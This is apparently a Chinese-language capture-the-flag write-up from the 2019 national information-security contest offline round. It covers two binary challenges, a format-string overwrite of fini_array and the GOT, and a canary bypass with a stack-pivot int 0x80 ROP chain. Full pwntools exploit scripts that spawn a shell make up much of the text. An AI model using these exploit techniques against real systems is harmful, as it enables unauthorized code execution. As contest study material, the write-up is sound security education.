2019信安国赛线下赛

Author Avatar
Xzhah 6月 08, 2019
  • 在其它设备中阅读本文章

[TOC]

pwn1

格式化字符串

1

但是printf结束后就return 0了。此时可以发现其保护为no relro

2

这样不但能写got表,还能写fini_array。main函数执行之前,start会做一些初始化,也就是Init。

然后main执行完毕,也会做一些析构工作,就是fini。所以我们把fini_array的内容写成main地址,就能循环了。

Fmtstr

首先要获得格式化字符串偏移,看栈或者用脚本。(其实就是输入AAAA%p%p%p%p,第四个%p会打印出AAAA的ascii码,所以偏移是4)

1
2
3
4
5
6
7
8
9
10
11
12
# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = process("./pwn")
p.recvuntil("name?")
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
print autofmt.offset

或者利用如上脚本也能获得offset

然后利用fmtstr_payload()就可以自动生成payload写入了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF('./pwn')
systemPlt = elf.plt['system']
strlenGot = elf.got['printf']
print hex(systemPlt),hex(strlenGot)
mainSymbol = elf.symbols['main']
finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry']
print hex(mainSymbol),hex(finiSymbol)
p = process('./pwn')
#p = remote('127.0.0.1',4004)
offset =4
writes = {finiSymbol:mainSymbol,strlenGot:systemPlt}
#padding = 'aa'
payload1 = fmtstr_payload(offset=4,writes=writes,numbwritten = 0,write_size='short')
print "payload:len = %d :%s"%(len(payload1),payload1)
p.recvuntil('name?')
#gdb.attach(p)
p.sendline(payload1)
sleep(2)
p.recvuntil('name?')
payload2 = '/bin/sh'
p.sendline(payload2)
p.recv()
p.interactive()

pwn2

栈溢出-scanf绕过canary

改自pwnable.tw double sort。问题是。。。改得啥都没法泄露了,排序也没用了。

1560261277193

这题我佛了,归并排序逆完并没有任何用,还以为能泄露

其漏洞点在于栈溢出,+和-可以跳过scanf的%u检查并不改变canary的值。

所以可以成功绕过canary

构造ROP

俺佛了,啥都没法泄露还要getshell。万幸有int 80h可以系统调用。构造ROP链就vans了

ROPgadget –binary pwn –only “mov|ret” 查找可以栈迁移的指令,发现一个高兴坏了。

1560261701348

然后找pop ecx;ret的,就可以栈迁移了

1560261905775

因为后面构造scanf调用,bss在第二个参数,所以pop ecx在第二个最好,选0x8070520

为啥要用scanf不用read呢,因为read第一个参数是0,循环直接就退出了。

scanf输入合适payload在Bss段过后就可以栈迁移了。

栈迁移过后还不能直接getshell,因为scanf读不了空格0x20,读不了0xb,我真的服了。所以再构造一个read函数吧。调用int 80h,eax是其调用号应该为11,是sys_execve 。ebx是参数,也就是’/bin/sh’的地址。所以找到pop eax就成了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.aslr = False
context.log_level = 'debug'
p=process('./pwn')
p.recvuntil('Name:')
p.sendline('aaaa')
p.recvuntil('stop)')
p.sendline('330')
#gdb.attach(p)
for i in range(300):
p.recvuntil(': ')
p.sendline('1')
#gdb.attach(p)
#0x080b9a92 : mov esp, ecx ; ret
#0x08070520 : pop edx ; pop ecx ; pop ebx ; ret
#0x080b9856 : pop eax ; ret
#0x0806e173 : int 0x80
bss_addr=0x80ECF80
p.recvuntil(': ')
p.sendline('+')
p.recvuntil(': ')
p.sendline(str(0x8049980))#retn
p.recvuntil(': ')
p.sendline(str(0x80500E0))#scanf
p.recvuntil(': ')
p.sendline(str(0x08070520))
p.recvuntil(': ')
p.sendline(str(0x80CF3C0))#%s
p.recvuntil(': ')
p.sendline(str(bss_addr))
p.recvuntil(': ')
p.sendline(str(0x100))
p.recvuntil(': ')
p.sendline(str(0x080b9a92))#move satck to bss
p.recvuntil(': ')
p.sendline('0')
payload=p32(0x806EAC0)+p32(0xdeadbeef)+p32(0)+p32(bss_addr+4)+p32(0x100)
p.recvuntil('result')
p.sendline(payload)
#payload=p32(0x806EAC0)+p32(0x08070520)+p32(0)+p32()
payload=p32(0x08070520)+2*p32(0xdeadbeef)+p32(bss_addr+28+4)+p32(0x080b9856)+p32(11)+p32(0x0806e173)+'/bin/sh\x00'

p.sendline(payload)
p.interactive()